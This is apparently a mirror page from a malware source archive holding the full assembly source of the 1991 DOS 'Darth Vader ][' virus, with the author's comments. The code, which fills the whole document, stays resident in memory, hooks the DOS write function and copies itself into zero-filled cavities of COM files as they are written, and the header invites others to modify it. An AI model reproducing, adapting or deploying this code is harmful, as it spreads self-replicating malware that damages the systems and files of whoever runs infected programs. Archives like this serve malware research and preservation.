mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
227 lines
7.8 KiB
NASM
227 lines
7.8 KiB
NASM
;*******************************************************************************
|
||
;* *
|
||
;* D A R T H V A D E R ][ *
|
||
;* *
|
||
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
|
||
;* All Rights Reserved *
|
||
;* *
|
||
;* This is the second release of Darth Vader virus. Now he infect only *
|
||
;* those COM file, wich have area of 345 (or more) zeros. Virus put *
|
||
;* himself in this area and make jump to its code. As before, he can't *
|
||
;* be stoped by ANTI4US or disk write utilities - DOS function 40h *
|
||
;* (WRITE to File/Device). The virus operate in memory only, so there is *
|
||
;* no slowing in operations. This release of virus support DOS versions *
|
||
;* from 2.X till 4.X. *
|
||
;* You may make any modifications in this source, BUT let me know *
|
||
;* what have you done (drop message at Virus eXchange BBS) *
|
||
;* Waleri Todorov *
|
||
;*******************************************************************************
|
||
|
||
|
||
org 0 ; Virus start offset is 0
|
||
|
||
call NextLine ; Call next instruction
|
||
NextLine
|
||
pop si ; and calculate its present location
|
||
sub si,3
|
||
|
||
mov [0f0h],si ; Save own location in PSP
|
||
mov [0FEh],ax ; Save AX in PSP (Important for DOS
|
||
; external commands)
|
||
xor ax,ax ; Make DS point in interrupts vectors
|
||
mov ds,ax ;
|
||
mov es,[2Bh*4+2] ; Load ES with DOS segment from int2B
|
||
mov ax,9000h ; DS will point at 9000h
|
||
mov ds,ax ; usualy there are zeros
|
||
xor di,di ; ES:DI point first byte in DOS segment
|
||
|
||
NextZero
|
||
inc di ; Next byte
|
||
cmp di,0F00h ; If more than F00 bytes checked
|
||
ja ReturnControl ; then suppose no room and exit
|
||
push di ; else save tested offset
|
||
xor si,si ; DS:SI == 9000:0000 (zeros area)
|
||
mov cx,offset LastByte ; Size of virus
|
||
repe cmpsb ; Compare until equal
|
||
pop di ; Restore tested area offset
|
||
jcxz Found ; If tested area is fill with zeros->
|
||
jmp short NextZero ; else check next
|
||
Found ; <- Will install himself in this area
|
||
mov si,cs:[0F0h] ; Get own start address (maybe diff.)
|
||
mov cs:[0F2h],di ; Save offset in DOS segment
|
||
push cs ; Set DS point to virus segment
|
||
pop ds ;
|
||
mov cx,offset LastByte ; Size of virus
|
||
rep movsb ; Move itself in DOSSEG
|
||
push es ; Set DS point to DOSSEG
|
||
pop ds
|
||
|
||
mov si,di ; From this offset (after virus)
|
||
NextCall ; Will search DOS dispatcher
|
||
inc si ; Next byte
|
||
jz ReturnControl ; If segment overrun -> Return control
|
||
push si ; Save tested area offset
|
||
lodsw ; Load word from DS:SI
|
||
xchg ax,bx ; and put readed value in BX
|
||
lodsb ; Load byte from DS:SI
|
||
cmp bx,0FF36h ; Check 'magic' bytes
|
||
je CheclAl ; If first word match -> check last
|
||
AgainCall
|
||
pop si ; else restore offset
|
||
jmp short NextCall ; and go search next byte
|
||
CheclAl
|
||
cmp al,16h ; Check last 'magic' byte
|
||
jne AgainCall ; If not match go search next byte
|
||
|
||
pop si ; Else restore founded offset
|
||
push si ; and save it for further usage
|
||
mov di,cs:[0F2h] ; Get virus offset
|
||
mov [4],di ; and save it to DOSSEG
|
||
add di,offset HandleCall ; DI now adjusted to
|
||
movsw ; original dispatcher place
|
||
movsw ; Original dispatcher go at ES:DI for
|
||
movsb ; further calls from virus
|
||
pop di ; Restore founded offset
|
||
mov al,9Ah ; and put an absolute FAR CALL
|
||
stosb
|
||
mov ax,offset Handle ; Put offset of new dispatcher
|
||
add ax,cs:[0F2h] ; adjust him for different offsets
|
||
stosw ; and store offset in FAR CALL
|
||
mov ax,es ; put DOSSEG either in FAR CALL
|
||
stosw
|
||
|
||
; Since this moment virus is installed and operated in memory. If make a copy
|
||
; of a file with DOS copy or PCTools and if file have area of 345 (or more)
|
||
; zeros, the copy (not the original) will became infected. Copied file will
|
||
; operate correctly when you start him. The virus logic allow multiple copies
|
||
; of the virus in the memory so you may have file with several copies of virus
|
||
; (each memory copy put himself in file)
|
||
|
||
|
||
ReturnControl ; Return control to main program
|
||
push cs ; Set DS and ES to point at PSP
|
||
push cs
|
||
pop ds
|
||
pop es
|
||
mov di,100h ; Set ES:DI point start of file at PSP:100
|
||
push di ; Put DI in stack for dummy return
|
||
mov si,[0F0h] ; Get beginning of the virus
|
||
add si,offset First3 ; and adjust for first 3 instr.
|
||
movsw ; Move saved First instructions
|
||
movsb ;
|
||
mov ax,[0FEh] ; Restore saved AX (required by DOS
|
||
ret ; external command. Return control
|
||
; via dummy RET
|
||
Fail
|
||
jmp Do ; Requested jump! Don't touch here!
|
||
|
||
Handle
|
||
mov cs:[0Ah],ds ; Save write buffer segment
|
||
mov cs:[0Ch],dx ; Save write buffer offset
|
||
mov cs:[0Eh],cx ; Save write buffer size
|
||
|
||
push ax ; Save important registers
|
||
push bx
|
||
push cx
|
||
push es
|
||
push si
|
||
push di
|
||
|
||
cmp ah,40h ; If function is not 40 (WRITE)
|
||
jne Fail ; then call DOS with no infection
|
||
|
||
cmp cx,offset LastByte+10h ; Check if size of buffer
|
||
jb Fail ; is big enough to hold all virus
|
||
|
||
mov ax,1220h ; Get file handle internal table number
|
||
int 2Fh ; Via int2F (undocumented)
|
||
mov bl,es:[di] ; Load table number to BL
|
||
mov ax,1216h ; Get handle table address in ES:DI
|
||
int 2Fh ; Via int2F (undocumented)
|
||
add di,28h ; ES:DI will point file extension
|
||
|
||
push cs ; Set DS to point in virus
|
||
pop ds
|
||
|
||
mov si,offset Com ; SI point to COM string
|
||
add si,[4] ; adjust for different offsets
|
||
mov cx,3 ; Will compare 3 bytes
|
||
repe cmpsb ; Compare until equal
|
||
jne Do ; If not equal -> exit with no infect
|
||
|
||
push ds ; ES point to virus (DOS) segment
|
||
pop es
|
||
mov ds,cs:[0Ah] ; DS point to write buffer segment
|
||
mov si,cs:[0Ch] ; SI point to write buffer offset
|
||
mov di,offset First3 ; DI point to save area for
|
||
add di,cs:[4] ; first 3 instruction. Adjust fo offset
|
||
movsw ; Save first 3 instruction from write buffer
|
||
movsb ; to virus buffer
|
||
|
||
mov ax,9000h ; ES wil point zeros at 9000
|
||
mov es,ax
|
||
mov cx,cs:[0Eh] ; Restore write buffer size
|
||
SearchHole
|
||
xor di,di ; ES:DI point to 9000:0000
|
||
inc si ; SI point next byte from write buffer
|
||
dec cx ; Decrease remaining bytes
|
||
jz Do ; If test all buffer -> no infection
|
||
push cx ; Save remain buffer size
|
||
push si ; Save current buffer offset
|
||
mov cx,offset LastByte ; Will check for virus size only
|
||
repe cmpsb ; Check until equal
|
||
pop si ; Restore tested area offset
|
||
jcxz FoundHole ; If 345 zeros -> Go infect
|
||
pop cx ; Else restore remain buffer size
|
||
jmp short SearchHole ; And go check next byte
|
||
FoundHole
|
||
pop cx ; Restore remain buffer size
|
||
push si ; Save DS:SI (point to zeros in write buffer)
|
||
push ds ;
|
||
mov es,cs:[0Ah] ; ES:DI point to beginning of buffer
|
||
mov di,cs:[0Ch] ;
|
||
mov al,0E9h ; Put a NEAR JMP in buffer
|
||
stosb ;
|
||
sub si,cs:[0Ch] ; Calculate argument for JMP
|
||
sub si,3
|
||
mov ax,si ; and store it in buffer
|
||
stosw ;
|
||
|
||
pop es ; ES:DI now will point to zeros
|
||
pop di ; and the JMP address point here
|
||
; So virus will receive control first
|
||
push cs ; DS:SI will point to virus code in memory
|
||
pop ds
|
||
mov si,cs:[4] ; Adjust for different offsets
|
||
mov cx,offset LastByte ; Will move virus size only
|
||
rep movsb ; Move virus in write buffer
|
||
|
||
Do
|
||
pop di ; Restore important registers
|
||
pop si
|
||
pop es
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
|
||
mov dx,cs:[0Ch] ; Restore write buffer address
|
||
mov ds,cs:[0Ah] ; to DS:DX
|
||
|
||
HandleCall
|
||
db 5 dup (0) ; Here come original DOS jump instr.
|
||
; Usualy it is CALL SS:[MemOffs]
|
||
; In original DOS jump instr. is placed
|
||
; a FAR CALL to new WRITE handler
|
||
retf ; Return to DOS
|
||
|
||
First3 ; Here come first 3 instruction of infected file
|
||
int 20h ; Now they are dummy terminate
|
||
nop
|
||
Com
|
||
db 'COM' ; String to check for any COM file
|
||
|
||
db 'Darth Vader' ; Virus signature
|
||
|
||
LastByte ; Dummy label to compute virus size
|
||
nop
|
||
|